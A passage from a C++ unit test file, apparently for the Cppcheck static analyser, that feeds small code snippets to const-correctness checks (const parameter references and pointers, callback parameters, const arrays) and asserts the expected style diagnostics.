v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" 